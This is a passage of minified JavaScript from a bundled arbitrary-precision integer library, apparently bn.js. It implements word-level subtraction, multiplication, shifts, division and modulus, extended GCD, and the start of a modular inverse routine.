this.negative=0,this.length=1,this.words[0]=0,this;var A,C;w>0?(A=this,C=h):(A=h,C=this);for(var S=0,z=0;z<C.length;z++)b=(A.words[z]|0)-(C.words[z]|0)+S,S=b>>26,this.words[z]=b&67108863;for(;S!==0&&z<A.length;z++)b=(A.words[z]|0)+S,S=b>>26,this.words[z]=b&67108863;if(S===0&&z<A.length&&A!==this)for(;z<A.length;z++)this.words[z]=A.words[z];return this.length=Math.max(this.length,z),A!==this&&(this.negative=1),this._strip()},i.prototype.sub=function(h){return this.clone().isub(h)};function q(L,h,b){b.negative=h.negative^L.negative;var w=L.length+h.length|0;b.length=w,w=w-1|0;var A=L.words[0]|0,C=h.words[0]|0,S=A*C,z=S&67108863,k=S/67108864|0;b.words[0]=z;for(var y=1;y<w;y++){for(var T=k>>>26,te=k&67108863,le=Math.min(y,h.length-1),re=Math.max(0,y-L.length+1);re<=le;re++){var de=y-re|0;A=L.words[de]|0,C=h.words[re]|0,S=A*C+te,T+=S/67108864|0,te=S&67108863}b.words[y]=te|0,k=T|0}return k!==0?b.words[y]=k|0:b.length--,b._strip()}var M=function(h,b,w){var A=h.words,C=b.words,S=w.words,z=0,k,y,T,te=A[0]|0,le=te&8191,re=te>>>13,de=A[1]|0,ce=de&8191,we=de>>>13,Ie=A[2]|0,ge=Ie&8191,Me=Ie>>>13,se=A[3]|0,ue=se&8191,ve=se>>>13,ke=A[4]|0,me=ke&8191,Ee=ke>>>13,Le=A[5]|0,Ae=Le&8191,be=Le>>>13,xe=A[6]|0,Re=xe&8191,Ne=xe>>>13,Se=A[7]|0,Ze=Se&8191,Q=Se>>>13,J=A[8]|0,V=J&8191,G=J>>>13,O=A[9]|0,Z=O&8191,Y=O>>>13,$=C[0]|0,oe=$&8191,ee=$>>>13,ze=C[1]|0,Te=ze&8191,Xe=ze>>>13,wt=C[2]|0,at=wt&8191,gt=wt>>>13,Ht=C[3]|0,vt=Ht&8191,Rt=Ht>>>13,Pi=C[4]|0,Nt=Pi&8191,Ft=Pi>>>13,yi=C[5]|0,Pt=yi&8191,Yt=yi>>>13,Di=C[6]|0,Dt=Di&8191,Xt=Di>>>13,Xi=C[7]|0,Ke=Xi&8191,Ue=Xi>>>13,dn=C[8]|0,qt=dn&8191,Zt=dn>>>13,Ur=C[9]|0,Ut=Ur&8191,jt=Ur>>>13;w.negative=h.negative^b.negative,w.length=19,k=Math.imul(le,oe),y=Math.imul(le,ee),y=y+Math.imul(re,oe)|0,T=Math.imul(re,ee);var Pn=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(Pn>>>26)|0,Pn&=67108863,k=Math.imul(ce,oe),y=Math.imul(ce,ee),y=y+Math.imul(we,oe)|0,T=Math.imul(we,ee),k=k+Math.imul(le,Te)|0,y=y+Math.imul(le,Xe)|0,y=y+Math.imul(re,Te)|0,T=T+Math.imul(re,Xe)|0;var Ao=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(Ao>>>26)|0,Ao&=67108863,k=Math.imul(ge,oe),y=Math.imul(ge,ee),y=y+Math.imul(Me,oe)|0,T=Math.imul(Me,ee),k=k+Math.imul(ce,Te)|0,y=y+Math.imul(ce,Xe)|0,y=y+Math.imul(we,Te)|0,T=T+Math.imul(we,Xe)|0,k=k+Math.imul(le,at)|0,y=y+Math.imul(le,gt)|0,y=y+Math.imul(re,at)|0,T=T+Math.imul(re,gt)|0;var Xo=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(Xo>>>26)|0,Xo&=67108863,k=Math.imul(ue,oe),y=Math.imul(ue,ee),y=y+Math.imul(ve,oe)|0,T=Math.imul(ve,ee),k=k+Math.imul(ge,Te)|0,y=y+Math.imul(ge,Xe)|0,y=y+Math.imul(Me,Te)|0,T=T+Math.imul(Me,Xe)|0,k=k+Math.imul(ce,at)|0,y=y+Math.imul(ce,gt)|0,y=y+Math.imul(we,at)|0,T=T+Math.imul(we,gt)|0,k=k+Math.imul(le,vt)|0,y=y+Math.imul(le,Rt)|0,y=y+Math.imul(re,vt)|0,T=T+Math.imul(re,Rt)|0;var Je=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(Je>>>26)|0,Je&=67108863,k=Math.imul(me,oe),y=Math.imul(me,ee),y=y+Math.imul(Ee,oe)|0,T=Math.imul(Ee,ee),k=k+Math.imul(ue,Te)|0,y=y+Math.imul(ue,Xe)|0,y=y+Math.imul(ve,Te)|0,T=T+Math.imul(ve,Xe)|0,k=k+Math.imul(ge,at)|0,y=y+Math.imul(ge,gt)|0,y=y+Math.imul(Me,at)|0,T=T+Math.imul(Me,gt)|0,k=k+Math.imul(ce,vt)|0,y=y+Math.imul(ce,Rt)|0,y=y+Math.imul(we,vt)|0,T=T+Math.imul(we,Rt)|0,k=k+Math.imul(le,Nt)|0,y=y+Math.imul(le,Ft)|0,y=y+Math.imul(re,Nt)|0,T=T+Math.imul(re,Ft)|0;var ct=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(ct>>>26)|0,ct&=67108863,k=Math.imul(Ae,oe),y=Math.imul(Ae,ee),y=y+Math.imul(be,oe)|0,T=Math.imul(be,ee),k=k+Math.imul(me,Te)|0,y=y+Math.imul(me,Xe)|0,y=y+Math.imul(Ee,Te)|0,T=T+Math.imul(Ee,Xe)|0,k=k+Math.imul(ue,at)|0,y=y+Math.imul(ue,gt)|0,y=y+Math.imul(ve,at)|0,T=T+Math.imul(ve,gt)|0,k=k+Math.imul(ge,vt)|0,y=y+Math.imul(ge,Rt)|0,y=y+Math.imul(Me,vt)|0,T=T+Math.imul(Me,Rt)|0,k=k+Math.imul(ce,Nt)|0,y=y+Math.imul(ce,Ft)|0,y=y+Math.imul(we,Nt)|0,T=T+Math.imul(we,Ft)|0,k=k+Math.imul(le,Pt)|0,y=y+Math.imul(le,Yt)|0,y=y+Math.imul(re,Pt)|0,T=T+Math.imul(re,Yt)|0;var Mt=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(Mt>>>26)|0,Mt&=67108863,k=Math.imul(Re,oe),y=Math.imul(Re,ee),y=y+Math.imul(Ne,oe)|0,T=Math.imul(Ne,ee),k=k+Math.imul(Ae,Te)|0,y=y+Math.imul(Ae,Xe)|0,y=y+Math.imul(be,Te)|0,T=T+Math.imul(be,Xe)|0,k=k+Math.imul(me,at)|0,y=y+Math.imul(me,gt)|0,y=y+Math.imul(Ee,at)|0,T=T+Math.imul(Ee,gt)|0,k=k+Math.imul(ue,vt)|0,y=y+Math.imul(ue,Rt)|0,y=y+Math.imul(ve,vt)|0,T=T+Math.imul(ve,Rt)|0,k=k+Math.imul(ge,Nt)|0,y=y+Math.imul(ge,Ft)|0,y=y+Math.imul(Me,Nt)|0,T=T+Math.imul(Me,Ft)|0,k=k+Math.imul(ce,Pt)|0,y=y+Math.imul(ce,Yt)|0,y=y+Math.imul(we,Pt)|0,T=T+Math.imul(we,Yt)|0,k=k+Math.imul(le,Dt)|0,y=y+Math.imul(le,Xt)|0,y=y+Math.imul(re,Dt)|0,T=T+Math.imul(re,Xt)|0;var Bt=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(Bt>>>26)|0,Bt&=67108863,k=Math.imul(Ze,oe),y=Math.imul(Ze,ee),y=y+Math.imul(Q,oe)|0,T=Math.imul(Q,ee),k=k+Math.imul(Re,Te)|0,y=y+Math.imul(Re,Xe)|0,y=y+Math.imul(Ne,Te)|0,T=T+Math.imul(Ne,Xe)|0,k=k+Math.imul(Ae,at)|0,y=y+Math.imul(Ae,gt)|0,y=y+Math.imul(be,at)|0,T=T+Math.imul(be,gt)|0,k=k+Math.imul(me,vt)|0,y=y+Math.imul(me,Rt)|0,y=y+Math.imul(Ee,vt)|0,T=T+Math.imul(Ee,Rt)|0,k=k+Math.imul(ue,Nt)|0,y=y+Math.imul(ue,Ft)|0,y=y+Math.imul(ve,Nt)|0,T=T+Math.imul(ve,Ft)|0,k=k+Math.imul(ge,Pt)|0,y=y+Math.imul(ge,Yt)|0,y=y+Math.imul(Me,Pt)|0,T=T+Math.imul(Me,Yt)|0,k=k+Math.imul(ce,Dt)|0,y=y+Math.imul(ce,Xt)|0,y=y+Math.imul(we,Dt)|0,T=T+Math.imul(we,Xt)|0,k=k+Math.imul(le,Ke)|0,y=y+Math.imul(le,Ue)|0,y=y+Math.imul(re,Ke)|0,T=T+Math.imul(re,Ue)|0;var vr=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(vr>>>26)|0,vr&=67108863,k=Math.imul(V,oe),y=Math.imul(V,ee),y=y+Math.imul(G,oe)|0,T=Math.imul(G,ee),k=k+Math.imul(Ze,Te)|0,y=y+Math.imul(Ze,Xe)|0,y=y+Math.imul(Q,Te)|0,T=T+Math.imul(Q,Xe)|0,k=k+Math.imul(Re,at)|0,y=y+Math.imul(Re,gt)|0,y=y+Math.imul(Ne,at)|0,T=T+Math.imul(Ne,gt)|0,k=k+Math.imul(Ae,vt)|0,y=y+Math.imul(Ae,Rt)|0,y=y+Math.imul(be,vt)|0,T=T+Math.imul(be,Rt)|0,k=k+Math.imul(me,Nt)|0,y=y+Math.imul(me,Ft)|0,y=y+Math.imul(Ee,Nt)|0,T=T+Math.imul(Ee,Ft)|0,k=k+Math.imul(ue,Pt)|0,y=y+Math.imul(ue,Yt)|0,y=y+Math.imul(ve,Pt)|0,T=T+Math.imul(ve,Yt)|0,k=k+Math.imul(ge,Dt)|0,y=y+Math.imul(ge,Xt)|0,y=y+Math.imul(Me,Dt)|0,T=T+Math.imul(Me,Xt)|0,k=k+Math.imul(ce,Ke)|0,y=y+Math.imul(ce,Ue)|0,y=y+Math.imul(we,Ke)|0,T=T+Math.imul(we,Ue)|0,k=k+Math.imul(le,qt)|0,y=y+Math.imul(le,Zt)|0,y=y+Math.imul(re,qt)|0,T=T+Math.imul(re,Zt)|0;var qr=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(qr>>>26)|0,qr&=67108863,k=Math.imul(Z,oe),y=Math.imul(Z,ee),y=y+Math.imul(Y,oe)|0,T=Math.imul(Y,ee),k=k+Math.imul(V,Te)|0,y=y+Math.imul(V,Xe)|0,y=y+Math.imul(G,Te)|0,T=T+Math.imul(G,Xe)|0,k=k+Math.imul(Ze,at)|0,y=y+Math.imul(Ze,gt)|0,y=y+Math.imul(Q,at)|0,T=T+Math.imul(Q,gt)|0,k=k+Math.imul(Re,vt)|0,y=y+Math.imul(Re,Rt)|0,y=y+Math.imul(Ne,vt)|0,T=T+Math.imul(Ne,Rt)|0,k=k+Math.imul(Ae,Nt)|0,y=y+Math.imul(Ae,Ft)|0,y=y+Math.imul(be,Nt)|0,T=T+Math.imul(be,Ft)|0,k=k+Math.imul(me,Pt)|0,y=y+Math.imul(me,Yt)|0,y=y+Math.imul(Ee,Pt)|0,T=T+Math.imul(Ee,Yt)|0,k=k+Math.imul(ue,Dt)|0,y=y+Math.imul(ue,Xt)|0,y=y+Math.imul(ve,Dt)|0,T=T+Math.imul(ve,Xt)|0,k=k+Math.imul(ge,Ke)|0,y=y+Math.imul(ge,Ue)|0,y=y+Math.imul(Me,Ke)|0,T=T+Math.imul(Me,Ue)|0,k=k+Math.imul(ce,qt)|0,y=y+Math.imul(ce,Zt)|0,y=y+Math.imul(we,qt)|0,T=T+Math.imul(we,Zt)|0,k=k+Math.imul(le,Ut)|0,y=y+Math.imul(le,jt)|0,y=y+Math.imul(re,Ut)|0,T=T+Math.imul(re,jt)|0;var Ea=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(Ea>>>26)|0,Ea&=67108863,k=Math.imul(Z,Te),y=Math.imul(Z,Xe),y=y+Math.imul(Y,Te)|0,T=Math.imul(Y,Xe),k=k+Math.imul(V,at)|0,y=y+Math.imul(V,gt)|0,y=y+Math.imul(G,at)|0,T=T+Math.imul(G,gt)|0,k=k+Math.imul(Ze,vt)|0,y=y+Math.imul(Ze,Rt)|0,y=y+Math.imul(Q,vt)|0,T=T+Math.imul(Q,Rt)|0,k=k+Math.imul(Re,Nt)|0,y=y+Math.imul(Re,Ft)|0,y=y+Math.imul(Ne,Nt)|0,T=T+Math.imul(Ne,Ft)|0,k=k+Math.imul(Ae,Pt)|0,y=y+Math.imul(Ae,Yt)|0,y=y+Math.imul(be,Pt)|0,T=T+Math.imul(be,Yt)|0,k=k+Math.imul(me,Dt)|0,y=y+Math.imul(me,Xt)|0,y=y+Math.imul(Ee,Dt)|0,T=T+Math.imul(Ee,Xt)|0,k=k+Math.imul(ue,Ke)|0,y=y+Math.imul(ue,Ue)|0,y=y+Math.imul(ve,Ke)|0,T=T+Math.imul(ve,Ue)|0,k=k+Math.imul(ge,qt)|0,y=y+Math.imul(ge,Zt)|0,y=y+Math.imul(Me,qt)|0,T=T+Math.imul(Me,Zt)|0,k=k+Math.imul(ce,Ut)|0,y=y+Math.imul(ce,jt)|0,y=y+Math.imul(we,Ut)|0,T=T+Math.imul(we,jt)|0;var Aa=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(Aa>>>26)|0,Aa&=67108863,k=Math.imul(Z,at),y=Math.imul(Z,gt),y=y+Math.imul(Y,at)|0,T=Math.imul(Y,gt),k=k+Math.imul(V,vt)|0,y=y+Math.imul(V,Rt)|0,y=y+Math.imul(G,vt)|0,T=T+Math.imul(G,Rt)|0,k=k+Math.imul(Ze,Nt)|0,y=y+Math.imul(Ze,Ft)|0,y=y+Math.imul(Q,Nt)|0,T=T+Math.imul(Q,Ft)|0,k=k+Math.imul(Re,Pt)|0,y=y+Math.imul(Re,Yt)|0,y=y+Math.imul(Ne,Pt)|0,T=T+Math.imul(Ne,Yt)|0,k=k+Math.imul(Ae,Dt)|0,y=y+Math.imul(Ae,Xt)|0,y=y+Math.imul(be,Dt)|0,T=T+Math.imul(be,Xt)|0,k=k+Math.imul(me,Ke)|0,y=y+Math.imul(me,Ue)|0,y=y+Math.imul(Ee,Ke)|0,T=T+Math.imul(Ee,Ue)|0,k=k+Math.imul(ue,qt)|0,y=y+Math.imul(ue,Zt)|0,y=y+Math.imul(ve,qt)|0,T=T+Math.imul(ve,Zt)|0,k=k+Math.imul(ge,Ut)|0,y=y+Math.imul(ge,jt)|0,y=y+Math.imul(Me,Ut)|0,T=T+Math.imul(Me,jt)|0;var Ma=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(Ma>>>26)|0,Ma&=67108863,k=Math.imul(Z,vt),y=Math.imul(Z,Rt),y=y+Math.imul(Y,vt)|0,T=Math.imul(Y,Rt),k=k+Math.imul(V,Nt)|0,y=y+Math.imul(V,Ft)|0,y=y+Math.imul(G,Nt)|0,T=T+Math.imul(G,Ft)|0,k=k+Math.imul(Ze,Pt)|0,y=y+Math.imul(Ze,Yt)|0,y=y+Math.imul(Q,Pt)|0,T=T+Math.imul(Q,Yt)|0,k=k+Math.imul(Re,Dt)|0,y=y+Math.imul(Re,Xt)|0,y=y+Math.imul(Ne,Dt)|0,T=T+Math.imul(Ne,Xt)|0,k=k+Math.imul(Ae,Ke)|0,y=y+Math.imul(Ae,Ue)|0,y=y+Math.imul(be,Ke)|0,T=T+Math.imul(be,Ue)|0,k=k+Math.imul(me,qt)|0,y=y+Math.imul(me,Zt)|0,y=y+Math.imul(Ee,qt)|0,T=T+Math.imul(Ee,Zt)|0,k=k+Math.imul(ue,Ut)|0,y=y+Math.imul(ue,jt)|0,y=y+Math.imul(ve,Ut)|0,T=T+Math.imul(ve,jt)|0;var Ca=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(Ca>>>26)|0,Ca&=67108863,k=Math.imul(Z,Nt),y=Math.imul(Z,Ft),y=y+Math.imul(Y,Nt)|0,T=Math.imul(Y,Ft),k=k+Math.imul(V,Pt)|0,y=y+Math.imul(V,Yt)|0,y=y+Math.imul(G,Pt)|0,T=T+Math.imul(G,Yt)|0,k=k+Math.imul(Ze,Dt)|0,y=y+Math.imul(Ze,Xt)|0,y=y+Math.imul(Q,Dt)|0,T=T+Math.imul(Q,Xt)|0,k=k+Math.imul(Re,Ke)|0,y=y+Math.imul(Re,Ue)|0,y=y+Math.imul(Ne,Ke)|0,T=T+Math.imul(Ne,Ue)|0,k=k+Math.imul(Ae,qt)|0,y=y+Math.imul(Ae,Zt)|0,y=y+Math.imul(be,qt)|0,T=T+Math.imul(be,Zt)|0,k=k+Math.imul(me,Ut)|0,y=y+Math.imul(me,jt)|0,y=y+Math.imul(Ee,Ut)|0,T=T+Math.imul(Ee,jt)|0;var ka=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(ka>>>26)|0,ka&=67108863,k=Math.imul(Z,Pt),y=Math.imul(Z,Yt),y=y+Math.imul(Y,Pt)|0,T=Math.imul(Y,Yt),k=k+Math.imul(V,Dt)|0,y=y+Math.imul(V,Xt)|0,y=y+Math.imul(G,Dt)|0,T=T+Math.imul(G,Xt)|0,k=k+Math.imul(Ze,Ke)|0,y=y+Math.imul(Ze,Ue)|0,y=y+Math.imul(Q,Ke)|0,T=T+Math.imul(Q,Ue)|0,k=k+Math.imul(Re,qt)|0,y=y+Math.imul(Re,Zt)|0,y=y+Math.imul(Ne,qt)|0,T=T+Math.imul(Ne,Zt)|0,k=k+Math.imul(Ae,Ut)|0,y=y+Math.imul(Ae,jt)|0,y=y+Math.imul(be,Ut)|0,T=T+Math.imul(be,jt)|0;var xa=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(xa>>>26)|0,xa&=67108863,k=Math.imul(Z,Dt),y=Math.imul(Z,Xt),y=y+Math.imul(Y,Dt)|0,T=Math.imul(Y,Xt),k=k+Math.imul(V,Ke)|0,y=y+Math.imul(V,Ue)|0,y=y+Math.imul(G,Ke)|0,T=T+Math.imul(G,Ue)|0,k=k+Math.imul(Ze,qt)|0,y=y+Math.imul(Ze,Zt)|0,y=y+Math.imul(Q,qt)|0,T=T+Math.imul(Q,Zt)|0,k=k+Math.imul(Re,Ut)|0,y=y+Math.imul(Re,jt)|0,y=y+Math.imul(Ne,Ut)|0,T=T+Math.imul(Ne,jt)|0;var Oa=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(Oa>>>26)|0,Oa&=67108863,k=Math.imul(Z,Ke),y=Math.imul(Z,Ue),y=y+Math.imul(Y,Ke)|0,T=Math.imul(Y,Ue),k=k+Math.imul(V,qt)|0,y=y+Math.imul(V,Zt)|0,y=y+Math.imul(G,qt)|0,T=T+Math.imul(G,Zt)|0,k=k+Math.imul(Ze,Ut)|0,y=y+Math.imul(Ze,jt)|0,y=y+Math.imul(Q,Ut)|0,T=T+Math.imul(Q,jt)|0;var za=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(za>>>26)|0,za&=67108863,k=Math.imul(Z,qt),y=Math.imul(Z,Zt),y=y+Math.imul(Y,qt)|0,T=Math.imul(Y,Zt),k=k+Math.imul(V,Ut)|0,y=y+Math.imul(V,jt)|0,y=y+Math.imul(G,Ut)|0,T=T+Math.imul(G,jt)|0;var Ka=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(Ka>>>26)|0,Ka&=67108863,k=Math.imul(Z,Ut),y=Math.imul(Z,jt),y=y+Math.imul(Y,Ut)|0,T=Math.imul(Y,jt);var Ra=(z+k|0)+((y&8191)<<13)|0;return z=(T+(y>>>13)|0)+(Ra>>>26)|0,Ra&=67108863,S[0]=Pn,S[1]=Ao,S[2]=Xo,S[3]=Je,S[4]=ct,S[5]=Mt,S[6]=Bt,S[7]=vr,S[8]=qr,S[9]=Ea,S[10]=Aa,S[11]=Ma,S[12]=Ca,S[13]=ka,S[14]=xa,S[15]=Oa,S[16]=za,S[17]=Ka,S[18]=Ra,z!==0&&(S[19]=z,w.length++),w};Math.imul||(M=q);function E(L,h,b){b.negative=h.negative^L.negative,b.length=L.length+h.length;for(var w=0,A=0,C=0;C<b.length-1;C++){var S=A;A=0;for(var z=w&67108863,k=Math.min(C,h.length-1),y=Math.max(0,C-L.length+1);y<=k;y++){var T=C-y,te=L.words[T]|0,le=h.words[y]|0,re=te*le,de=re&67108863;S=S+(re/67108864|0)|0,de=de+z|0,z=de&67108863,S=S+(de>>>26)|0,A+=S>>>26,S&=67108863}b.words[C]=z,w=S,S=A}return w!==0?b.words[C]=w:b.length--,b._strip()}function x(L,h,b){return E(L,h,b)}i.prototype.mulTo=function(h,b){var w,A=this.length+h.length;return this.length===10&&h.length===10?w=M(this,h,b):A<63?w=q(this,h,b):A<1024?w=E(this,h,b):w=x(this,h,b),w},i.prototype.mul=function(h){var b=new i(null);return b.words=new Array(this.length+h.length),this.mulTo(h,b)},i.prototype.mulf=function(h){var b=new i(null);return b.words=new Array(this.length+h.length),x(this,h,b)},i.prototype.imul=function(h){return this.clone().mulTo(h,this)},i.prototype.imuln=function(h){var b=h<0;b&&(h=-h),r(typeof h=="number"),r(h<67108864);for(var w=0,A=0;A<this.length;A++){var C=(this.words[A]|0)*h,S=(C&67108863)+(w&67108863);w>>=26,w+=C/67108864|0,w+=S>>>26,this.words[A]=S&67108863}return w!==0&&(this.words[A]=w,this.length++),b?this.ineg():this},i.prototype.muln=function(h){return this.clone().imuln(h)},i.prototype.sqr=function(){return this.mul(this)},i.prototype.isqr=function(){return this.imul(this.clone())},i.prototype.pow=function(h){var b=I(h);if(b.length===0)return new i(1);for(var w=this,A=0;A<b.length&&b[A]===0;A++,w=w.sqr());if(++A<b.length)for(var C=w.sqr();A<b.length;A++,C=C.sqr())b[A]!==0&&(w=w.mul(C));return w},i.prototype.iushln=function(h){r(typeof h=="number"&&h>=0);var b=h%26,w=(h-b)/26,A=67108863>>>26-b<<26-b,C;if(b!==0){var S=0;for(C=0;C<this.length;C++){var z=this.words[C]&A,k=(this.words[C]|0)-z<<b;this.words[C]=k|S,S=z>>>26-b}S&&(this.words[C]=S,this.length++)}if(w!==0){for(C=this.length-1;C>=0;C--)this.words[C+w]=this.words[C];for(C=0;C<w;C++)this.words[C]=0;this.length+=w}return this._strip()},i.prototype.ishln=function(h){return r(this.negative===0),this.iushln(h)},i.prototype.iushrn=function(h,b,w){r(typeof h=="number"&&h>=0);var A;b?A=(b-b%26)/26:A=0;var C=h%26,S=Math.min((h-C)/26,this.length),z=67108863^67108863>>>C<<C,k=w;if(A-=S,A=Math.max(0,A),k){for(var y=0;y<S;y++)k.words[y]=this.words[y];k.length=S}if(S!==0)if(this.length>S)for(this.length-=S,y=0;y<this.length;y++)this.words[y]=this.words[y+S];else this.words[0]=0,this.length=1;var T=0;for(y=this.length-1;y>=0&&(T!==0||y>=A);y--){var te=this.words[y]|0;this.words[y]=T<<26-C|te>>>C,T=te&z}return k&&T!==0&&(k.words[k.length++]=T),this.length===0&&(this.words[0]=0,this.length=1),this._strip()},i.prototype.ishrn=function(h,b,w){return r(this.negative===0),this.iushrn(h,b,w)},i.prototype.shln=function(h){return this.clone().ishln(h)},i.prototype.ushln=function(h){return this.clone().iushln(h)},i.prototype.shrn=function(h){return this.clone().ishrn(h)},i.prototype.ushrn=function(h){return this.clone().iushrn(h)},i.prototype.testn=function(h){r(typeof h=="number"&&h>=0);var b=h%26,w=(h-b)/26,A=1<<b;if(this.length<=w)return!1;var C=this.words[w];return!!(C&A)},i.prototype.imaskn=function(h){r(typeof h=="number"&&h>=0);var b=h%26,w=(h-b)/26;if(r(this.negative===0,"imaskn works only with positive numbers"),this.length<=w)return this;if(b!==0&&w++,this.length=Math.min(w,this.length),b!==0){var A=67108863^67108863>>>b<<b;this.words[this.length-1]&=A}return this._strip()},i.prototype.maskn=function(h){return this.clone().imaskn(h)},i.prototype.iaddn=function(h){return r(typeof h=="number"),r(h<67108864),h<0?this.isubn(-h):this.negative!==0?this.length===1&&(this.words[0]|0)<=h?(this.words[0]=h-(this.words[0]|0),this.negative=0,this):(this.negative=0,this.isubn(h),this.negative=1,this):this._iaddn(h)},i.prototype._iaddn=function(h){this.words[0]+=h;for(var b=0;b<this.length&&this.words[b]>=67108864;b++)this.words[b]-=67108864,b===this.length-1?this.words[b+1]=1:this.words[b+1]++;return this.length=Math.max(this.length,b+1),this},i.prototype.isubn=function(h){if(r(typeof h=="number"),r(h<67108864),h<0)return this.iaddn(-h);if(this.negative!==0)return this.negative=0,this.iaddn(h),this.negative=1,this;if(this.words[0]-=h,this.length===1&&this.words[0]<0)this.words[0]=-this.words[0],this.negative=1;else for(var b=0;b<this.length&&this.words[b]<0;b++)this.words[b]+=67108864,this.words[b+1]-=1;return this._strip()},i.prototype.addn=function(h){return this.clone().iaddn(h)},i.prototype.subn=function(h){return this.clone().isubn(h)},i.prototype.iabs=function(){return this.negative=0,this},i.prototype.abs=function(){return this.clone().iabs()},i.prototype._ishlnsubmul=function(h,b,w){var A=h.length+w,C;this._expand(A);var S,z=0;for(C=0;C<h.length;C++){S=(this.words[C+w]|0)+z;var k=(h.words[C]|0)*b;S-=k&67108863,z=(S>>26)-(k/67108864|0),this.words[C+w]=S&67108863}for(;C<this.length-w;C++)S=(this.words[C+w]|0)+z,z=S>>26,this.words[C+w]=S&67108863;if(z===0)return this._strip();for(r(z===-1),z=0,C=0;C<this.length;C++)S=-(this.words[C]|0)+z,z=S>>26,this.words[C]=S&67108863;return this.negative=1,this._strip()},i.prototype._wordDiv=function(h,b){var w=this.length-h.length,A=this.clone(),C=h,S=C.words[C.length-1]|0,z=this._countBits(S);w=26-z,w!==0&&(C=C.ushln(w),A.iushln(w),S=C.words[C.length-1]|0);var k=A.length-C.length,y;if(b!=="mod"){y=new i(null),y.length=k+1,y.words=new Array(y.length);for(var T=0;T<y.length;T++)y.words[T]=0}var te=A.clone()._ishlnsubmul(C,1,k);te.negative===0&&(A=te,y&&(y.words[k]=1));for(var le=k-1;le>=0;le--){var re=(A.words[C.length+le]|0)*67108864+(A.words[C.length+le-1]|0);for(re=Math.min(re/S|0,67108863),A._ishlnsubmul(C,re,le);A.negative!==0;)re--,A.negative=0,A._ishlnsubmul(C,1,le),A.isZero()||(A.negative^=1);y&&(y.words[le]=re)}return y&&y._strip(),A._strip(),b!=="div"&&w!==0&&A.iushrn(w),{div:y||null,mod:A}},i.prototype.divmod=function(h,b,w){if(r(!h.isZero()),this.isZero())return{div:new i(0),mod:new i(0)};var A,C,S;return this.negative!==0&&h.negative===0?(S=this.neg().divmod(h,b),b!=="mod"&&(A=S.div.neg()),b!=="div"&&(C=S.mod.neg(),w&&C.negative!==0&&C.iadd(h)),{div:A,mod:C}):this.negative===0&&h.negative!==0?(S=this.divmod(h.neg(),b),b!=="mod"&&(A=S.div.neg()),{div:A,mod:S.mod}):this.negative&h.negative?(S=this.neg().divmod(h.neg(),b),b!=="div"&&(C=S.mod.neg(),w&&C.negative!==0&&C.isub(h)),{div:S.div,mod:C}):h.length>this.length||this.cmp(h)<0?{div:new i(0),mod:this}:h.length===1?b==="div"?{div:this.divn(h.words[0]),mod:null}:b==="mod"?{div:null,mod:new i(this.modrn(h.words[0]))}:{div:this.divn(h.words[0]),mod:new i(this.modrn(h.words[0]))}:this._wordDiv(h,b)},i.prototype.div=function(h){return this.divmod(h,"div",!1).div},i.prototype.mod=function(h){return this.divmod(h,"mod",!1).mod},i.prototype.umod=function(h){return this.divmod(h,"mod",!0).mod},i.prototype.divRound=function(h){var b=this.divmod(h);if(b.mod.isZero())return b.div;var w=b.div.negative!==0?b.mod.isub(h):b.mod,A=h.ushrn(1),C=h.andln(1),S=w.cmp(A);return S<0||C===1&&S===0?b.div:b.div.negative!==0?b.div.isubn(1):b.div.iaddn(1)},i.prototype.modrn=function(h){var b=h<0;b&&(h=-h),r(h<=67108863);for(var w=(1<<26)%h,A=0,C=this.length-1;C>=0;C--)A=(w*A+(this.words[C]|0))%h;return b?-A:A},i.prototype.modn=function(h){return this.modrn(h)},i.prototype.idivn=function(h){var b=h<0;b&&(h=-h),r(h<=67108863);for(var w=0,A=this.length-1;A>=0;A--){var C=(this.words[A]|0)+w*67108864;this.words[A]=C/h|0,w=C%h}return this._strip(),b?this.ineg():this},i.prototype.divn=function(h){return this.clone().idivn(h)},i.prototype.egcd=function(h){r(h.negative===0),r(!h.isZero());var b=this,w=h.clone();b.negative!==0?b=b.umod(h):b=b.clone();for(var A=new i(1),C=new i(0),S=new i(0),z=new i(1),k=0;b.isEven()&&w.isEven();)b.iushrn(1),w.iushrn(1),++k;for(var y=w.clone(),T=b.clone();!b.isZero();){for(var te=0,le=1;!(b.words[0]&le)&&te<26;++te,le<<=1);if(te>0)for(b.iushrn(te);te-- >0;)(A.isOdd()||C.isOdd())&&(A.iadd(y),C.isub(T)),A.iushrn(1),C.iushrn(1);for(var re=0,de=1;!(w.words[0]&de)&&re<26;++re,de<<=1);if(re>0)for(w.iushrn(re);re-- >0;)(S.isOdd()||z.isOdd())&&(S.iadd(y),z.isub(T)),S.iushrn(1),z.iushrn(1);b.cmp(w)>=0?(b.isub(w),A.isub(S),C.isub(z)):(w.isub(b),S.isub(A),z.isub(C))}return{a:S,b:z,gcd:w.iushln(k)}},i.prototype._invmp=function(h){r(h.negative===0),r(!h.isZero());var b=this,w=h.clone();b.negative!==0?b=b.umod(h):b=b.clone();for(var A=new i(1),C=new i(0),S=w.clone();b.cmpn(1)>0&&w.cmpn(1)>0;){for(var z=0,k=1;!(b.words[0]&k)&&z<26;++z,k<<=1);if(z>0)for(b.iushrn(z);z-- >0;)A.isOdd()&&A.iadd(S),A.iushrn(1);for(var y=0,T=1;!(w.words[0]&T)&&y<26;++y,T<<=1);if(y>0)for(w.iushrn(y);y-- 